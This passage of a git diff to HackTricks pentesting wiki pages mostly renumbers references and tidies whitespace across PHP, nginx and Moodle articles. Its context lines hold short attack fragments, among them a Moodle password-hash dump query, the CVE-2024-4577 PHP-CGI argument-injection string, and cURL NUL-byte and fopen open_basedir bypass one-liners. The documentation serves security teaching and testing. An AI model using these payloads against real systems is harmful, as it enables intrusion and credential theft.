Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) -- [2] [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell) -- [3] [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) -- [4] [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) -- [5] [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) -- [6] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) +- [2] [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [3] [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) +- [4] [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) +- [5] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index fbddf572f14..368cdd94c49 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -172,8 +172,6 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` - - ## References - [1] [RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/) diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 1a21e622744..3491d45cfb5 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -390,7 +390,7 @@ server { ## HTTP/2 upstream request injection with `proxy_set_body` -A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive. +A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive.[[4]](#references) This is especially interesting in internal API-gateway style deployments where nginx speaks HTTP/2 to the backend and the request body is rebuilt from user-controlled variables. Example audit pattern: @@ -563,7 +563,7 @@ Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulne - [1] [Common Nginx misconfigurations that leave your web server open to attack](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) - [2] [Nginx resolver vulnerabilities allow cache poisoning attack](http://blog.zorinaq.com/nginx-resolver-vulns/) - [3] [Detection of scenario when default is not specified for map directive · Issue #115 · yandex/gixy](https://github.com/yandex/gixy/issues/115) -- [4] [https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html](https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html) +- [4] [NVD - CVE-2026-42926: HTTP/2 request injection in ngx_http_proxy_v2_module](https://nvd.nist.gov/vuln/detail/CVE-2026-42926) - [5] [nginx security advisory (CVE-2025-23419)](https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html) - [6] [HTTP/2 Rapid Reset Attack Impacting F5 NGINX Products](https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products) - [7] [proxy_pass: nginx's Dangerous URL Normalization of Paths](https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous) diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 7e00332de03..db7610bfd05 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -184,7 +184,7 @@ Interesting impacts: - Triggering state-changing handlers via CSRF when the application validates only the outer request method By default the middleware usually only overrides `POST`, so prioritize `POST` requests with header, body, and query-string override values. - + ## References - [1] [Express behind proxies - Express.js](https://expressjs.com/en/guide/behind-proxies.html) diff --git a/src/network-services-pentesting/pentesting-web/perl-tricks.md b/src/network-services-pentesting/pentesting-web/perl-tricks.md index 61745aa3ee2..dd1520b51ad 100644 --- a/src/network-services-pentesting/pentesting-web/perl-tricks.md +++ b/src/network-services-pentesting/pentesting-web/perl-tricks.md @@ -65,6 +65,3 @@ Real-world case: Dell UnityVSA pre-auth RCE (CVE-2025-36604)[[1]](#referenc - [3] [watchTowr Detection Artefact Generator – Dell UnityVSA Pre‑Auth CVE‑2025‑36604](https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 4b306a704c6..c8a71bd8c55 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0e12334" == "0" --> True` This is very interesting because in some cases you can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Any letter in a string is equals to int 0 -More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)[[2]](#references) +More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)[[1]](#references) ### **in_array()** @@ -107,7 +107,7 @@ To bypass this check you could **send the value with new-lines urlencoded** (`%0 } ``` -Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)[[3]](#references) +Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)[[2]](#references) #### **Length error bypass** @@ -118,11 +118,11 @@ If you can send to `preg_match()` a valid very **large input**, it **won't be ab payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` -From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)[[4]](#references) +From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)[[3]](#references) #### ReDoS Bypass -Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)[[5]](#references)[[6]](#references) +Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)[[4]](#references)[[5]](#references)
@@ -180,7 +180,7 @@ Check: - The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\ This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). - When you have the **usernames** of the users of the machine. Check the address: **/\~\** to see if the php directories are activated. -- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).[[7]](#references) +- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).[[6]](#references) - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -200,7 +200,7 @@ True #### Causing error after setting headers -From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.[[8]](#references) +From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP is not going to be setting headers in the response.[[7]](#references) Allowing to bypass for example CSP headers being set in codes like: @@ -227,7 +227,7 @@ php-ssrf.md {{#endref}} ## ssh2.exec stream wrapper RCE -When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:[[1]](#references) +When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:[[8]](#references) ```php $wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : ''; @@ -353,7 +353,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** ( ### XAMPP CGI RCE - CVE-2024-4577 -The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body: +The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:[[11]](#references) ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input @@ -537,14 +537,14 @@ $___($_[_]); // ASSERT($_POST[_]); ## References -- [1] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html) -- [2] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) -- [3] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice) -- [4] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) -- [5] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) -- [6] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong) -- [7] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) -- [8] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070) +- [1] [PHP Type Juggling Vulnerabilities](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) +- [2] [Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match](https://ramadistra.dev/fbctf-2019-rceservice) +- [3] [Solving Each and Every FB CTF Challenge – Part 1](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) +- [4] [Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) +- [5] [Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)](https://mizu.re/post/pong) +- [6] [How an obscure PHP footgun led to RCE in Craft CMS](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms) +- [7] [pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files](https://twitter.com/pilvar222/status/1784618120902005070) +- [8] [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html) - [9] [CVE-2023-36844 and Friends: RCE in Juniper Devices](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) - [10] [Fileless Remote Code Execution on Juniper Firewalls](https://vulncheck.com/blog/juniper-cve-2023-36845) - [11] [No Way, PHP Strikes Again! (CVE-2024-4577)](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index a4d01a7f5ec..a267035cf94 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -99,7 +99,7 @@ A method described in the [**original writeup**](https://swarm.ptsecurity.com/ex ## Yii / Craft CMS config-array object creation -Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.[[3]](#references) +Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.[[3]](#references)[[4]](#references) Two config features are especially interesting:[[3]](#references)[[5]](#references) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index 0d240e507b5..34434e25ffa 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -72,4 +72,3 @@ $file = file_get_contents($url, false, $context); - [1] [Exploring the Unknown: Beneath the Surface of Unpatched WordPress SSRF](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf) {{#include ../../../banners/hacktricks-training.md}} - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 904b1c1afd2..715263cddb8 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -827,5 +827,3 @@ get_meta_tags {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index 54790fa5482..d3ca0f1131c 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -129,6 +129,5 @@ On Windows the filename will typically be a `.dll`, while on Unix-like targets i ## References - [1] [PHP manual: dl](https://www.php.net/manual/en/function.dl.php) -- [2] [Tarlogic: A deep dive into disable_functions bypass and PHP exploitation](https://www.tarlogic.com/blog/disable_functions-bypasses-php-exploitation/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md index 06588bd7d45..6ac845b9472 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md @@ -4,9 +4,9 @@ > The well-known *ImageTragick* family of bugs (CVE-2016-3714 et al.) allows an attacker to reach the underlying **ImageMagick** binary through crafted MVG/SVG input. When the PHP extension **Imagick** is present this can be abused to execute shell commands even if every execution-oriented PHP function is black-listed with `disable_functions`. > -> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.[[3]](#references) The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo. +> The original PoC published by RicterZ (Chaitin Security Research Lab) in May 2016 is reproduced below.[[1]](#references) The technique is still regularly encountered during contemporary PHP 7/8 audits because many shared-hosting providers simply compile PHP without `exec`/`system` but keep an outdated Imagick + ImageMagick combo. -From [[3]](#references) +From [[1]](#references) ```php # Exploit Title : PHP Imagick disable_functions bypass @@ -53,7 +53,7 @@ echo file_get_contents($tmp); * Any Imagick version that relies on a vulnerable ImageMagick backend remains exploitable. In lab tests the same payload works on PHP 8.3 with **Imagick 3.7.0** and **ImageMagick 7.1.0-51** compiled without a hardened `policy.xml`. * Since 2020 several additional command-injection vectors have been found (`video:pixel-format`, `ps:`, `text:` coders…). Two recent public examples are: * **CVE-2020-29599** – shell injection via the *text:* coder.[[2]](#references) - * **GitHub issue #6338** (2023) – injection in the *video:* delegate.[[1]](#references) + * **GitHub issue #6338** (2023) – injection in the *video:* delegate.[[3]](#references) If the operating system ships ImageMagick < **7.1.1-11** (or 6.x < **6.9.12-73**) without a restrictive policy file, exploitation is straightforward. @@ -108,8 +108,8 @@ If the output shows the `MVG` or `URL` coders are *enabled* the target is probab ## References -- [1] [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) +- [1] [PHP Imagick disable_functions bypass (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - [2] [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599) -- [3] [PHP Imagick disable_functions bypass (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +- [3] [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md index 04409dfa9f3..9bfa9b34875 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php @@ -51,5 +50,3 @@ else {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md index 65e6636e343..92f99dfb75a 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md index e2bfa3ac610..f7447f0abdf 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.md @@ -2,7 +2,6 @@ {{#include ../../../../banners/hacktricks-training.md}} - From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) ```php @@ -15,5 +14,3 @@ php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");' {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md index a82948c739b..cef90d8dcff 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md @@ -43,7 +43,7 @@ var_dump(function_exists('win_shell_execute')); Things worth checking from a shell or via `phpinfo()`: -- **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.[[2]](#references) +- **Package age**: the original PECL `win32std` package was released as **1.0 beta in 2003** and is currently marked **unmaintained**.[[1]](#references) - **Fork drift**: you may find PHP 7/8 community ports of `win32std`, but some README files only advertise helpers such as `win_beep`, `win_play_wav`, and `win_create_link`. If `win_shell_execute` is missing from `get_extension_funcs('win32std')`, this page does **not** apply. - **SAPI/account context**: the process will run as the web-server identity (`IUSR`, `apache`, `LocalSystem`, service account, etc.), so post-exploitation impact depends on that token. @@ -51,8 +51,7 @@ If `win32std` is absent, look at the parent page for **different** `disable_func ## Original PoC - -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[1]](#references) +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[2]](#references) ```php [[1]](#references) -From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/ +From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)[[2]](#references) ## One-liner PoC -If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:[[2]](#references) +If safe_mode or open_basedir are active and cURL is enabled, the following will return the contents of the current script:[[3]](#references) ```php var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__))); @@ -54,8 +54,8 @@ The vulnerability lies in how PHP 5.2.4/5.2.5 performed safe_mode/open_basedir c ## Related historical cURL-based bypasses -- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.[[4]](#references) -- PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.[[3]](#references) +- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed `file://` access with embedded NULs to bypass open_basedir; fixed before 5.2.x.[[5]](#references) +- PHP bugs #30609/#36223 tracked early cURL open_basedir issues using `file://` without canonicalization. Any check before the NUL byte or without `realpath`-style resolution is prone to the same truncation.[[4]](#references) ## CTF tips @@ -74,8 +74,9 @@ README.md ## References - [1] [Ubuntu CVE entry with patch pointers and affected versions](https://ubuntu.com/security/CVE-2007-4850) -- [2] [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060) -- [3] [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223) -- [4] [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563) +- [2] [disable_functions bypass collection (safebuff blog)](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) +- [3] [Technical writeup with code context (cxsecurity)](http://cxsecurity.com/issue/WLB-2008010060) +- [4] [PHP bug #36223 (curl bypasses open_basedir)](https://bugs.php.net/bug.php?id=36223) +- [5] [CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2563) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md index 3f59c80ce10..1a9553a7713 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -232,6 +232,3 @@ function pwn($cmd) { - [1] [PHP 7.0-7.4 use-after-free disable_functions bypass exploit (mm0r1/exploits)](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) {{#include ../../../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md 